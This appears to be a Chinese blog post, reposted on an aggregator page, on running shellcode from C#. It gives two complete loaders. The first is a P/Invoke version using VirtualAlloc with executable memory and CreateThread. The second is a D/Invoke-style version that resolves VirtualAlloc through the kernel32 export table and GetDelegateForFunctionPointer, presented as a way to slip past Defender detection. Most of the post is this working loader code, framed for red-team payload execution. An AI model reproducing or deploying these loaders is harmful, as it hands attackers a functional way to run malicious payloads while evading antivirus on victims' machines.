首页 > 编程语言 >.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL——本质上和动态加载DLL没有区别

.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL——本质上和动态加载DLL没有区别

时间:2023-09-08 11:34:05浏览次数:32  
标签:IntPtr Invoke C# baseAddr DLL uint var shellcode Marshal

.NET:使用 P/Invoke 调用 C# 中的 Win32 DLL

本质上和动态加载DLL没有区别!!!如下:

 

在 .NET 中执行非托管代码时,我们通常想要实现什么? 假如是红队,一般想要运行原始的beacon payload,在该payload中运行 C# 封装的本地代码。

很长一段时间以来,最常见的做法是这样的:

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public static void StartShellcode(byte[] shellcode)
{
    uint threadId;

    IntPtr alloc = VirtualAlloc(IntPtr.Zero, shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
    if (alloc == IntPtr.Zero) {
        return;
    }

    Marshal.Copy(shellcode, 0, alloc, shellcode.Length);
    IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}

一切看起来很乐观,但是很快蓝队就意识到:引用一堆可疑方法的 .NET 二进制文件 ,一看就是非奸即盗。

如果在一台受Defender保护的机器上导入并编译上述这种包含了如此明显特征方法的文件,Microsoft 会弹出一个明显的警告,表明这台机器刚刚感染了 VirTool: MSIL/Viemlod.gen!A.

因此,当蓝队检测力度不断加强的时候,红队的绕过技术也在同步发展。执行非托管代码的演变归功于@fuzzysec 和@TheRealWover,他们引入了 D/Invoke 技术。现在暂且不讨论DLL 加载程序,来看看 D/Invoke技术中使用的从托管代码转换为非托管代码的底层技术:关键方法 Marshal.GetDelegateForFunctionPointer。文档将此方法描述为“将非托管函数指针转换为委托”。此方法成功解决了那些令人讨厌的导入问题,迫使防御者跳出 ImplMap 表去寻求其他的防御手段。关于如何使用Marshal.GetDelegateForFunctionPointer 在 x64 进程中执行非托管代码,下面是一个简单示例:

[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.Winapi)]
public delegate IntPtr ShellcodeDelegate();

public static IntPtr GetExportAddress(IntPtr baseAddr, string name)
{
    var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr);
    var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>());
    var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress);

    for (int i = 0; i < exportHeader.NumberOfNames; i++)
    {
        var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4));
        var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
        if (m == "VirtualAlloc")
        {
            var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4));
            return baseAddr + (int)exportAddr;
        }
    }

    return IntPtr.Zero;
}

public static void StartShellcodeViaDelegate(byte[] shellcode)
{
    IntPtr virtualAllocAddr = IntPtr.Zero;

    foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
    {
        if (module.ModuleName.ToLower() == "kernel32.dll")
        {
            virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
        }
    }

    var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
    var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);

    Marshal.Copy(shellcode, 0, execMem, shellcode.Length);

    var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
    shellcodeCall();
}



标签:IntPtr,Invoke,C#,baseAddr,DLL,uint,var,shellcode,Marshal
From: https://blog.51cto.com/u_11908275/7408055

相关文章

  • 样本分析 99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d 由于.
     https://s.threatbook.com/report/file/99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d09:30:16:088, 99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe, 1908:0, 1908, EXEC_create, C:\Users\bonelee\Desktop\99eddc2794077......
  • BUUCTF [GYCTF2020]FlaskApp
    因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。直接报错抛出debug信息,看来是开启了debug模式。payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。方法1首先想办法把完......
  • 通过pyshark解析pcap报文
    代码:importpysharkdefextract_dns_info(packet):dns=packet.dnsquery_name=dns.qry_nameifhasattr(dns,'qry_name')elseNonequery_type=dns.qry_typeifhasattr(dns,'qry_type')elseNone#解析响应的IP地址或其他响应内容r......
  • web前端技能方法总结(css、js、jquery、html)
    CSS设置背景(background)背景颜色background-color背景图片background-image背景重复background-repeat:repeat-x/repeat-y背景位置background-position:bottom/left/top/right/center背景关联background-attachment:fixed/scroll综合写法:.tagName{background:#ffffffurl(“a......
  • HTML5与CSS3实现动态网页(下)
    js完整的javascript是有ECMAScript(语法)BrowserObjects(DOMBOM)特性组成的。//单行注释/**/多行注释ECMASxript中的一切(变量函数名和操作符)都区分大小写1:什么是标识符变量函数属性的名字或者函的参数2:表示符命名规则有字符数字下划线或$符号组成不能以......
  • C#访问本地网络目录及文件
    来自你的消息:怎么通过C#访问局域网目录?用户名和密码怎么设置?来自ChatAI的消息:要使用C#访问局域网目录,可以使用.NETFramework中的System.Net命名空间提供的类和方法来实现。你可以使用NetworkCredential类设置用户名和密码进行身份验证。下面是一个简单的示例代码:usingSyst......
  • Css 修改图标颜色_Css 修改图片颜色_Css控制图片颜色
    一、Css3mask修改图标颜色(推荐)CSS3mask默认是基于透明度实现遮罩效果的。也就是实色区域显示,透明区域隐藏。因此,我们只需要把目标图标颜色#f4615c作为背景色,然后原始图标(无论什么颜色都可以)作为遮罩图片,效果就出来了。<!DOCTYPEhtml><htmllang="en"><head><meta......
  • Windows访问Linux下的FTP服务器(Centos和Uuntu)
    centos7.9版本1.下载FTP离线安装包:http://rpmfind.net/linux/rpm2html/search.php?query=vsftpd(x86-64)   选择最后一个 vsftpd-3.0.2-28.el7.x86_64.rpm2.检查是否已经安装了vsftprpm-qa|grepvsftpd出现提示vsftpd版本号则表示......
  • nginx + php procedures
    https://mkyong.com/nginx/nginx-php-on-windows/https://www.youtube.com/watch?v=loSNnt9ZzWI&ab_channel=javafrmhowtostopnginx?nginx-sstophowtostartnginx?startnginx......
  • arm架构docker安装nacos
    前言搞了个hk1box,装了armbian系统,想用这个当服务器调试微服务,需要安装nacos。尝试安装非docker版本的nacos,去github下载arm版本的并且放到linux下面,运行的时候报tomcat错误,装了tomcat后还是报错,改了很多设置老是跑不了,于是决定用docker版本。1、挂载目录mkdir-p/home/nacos/l......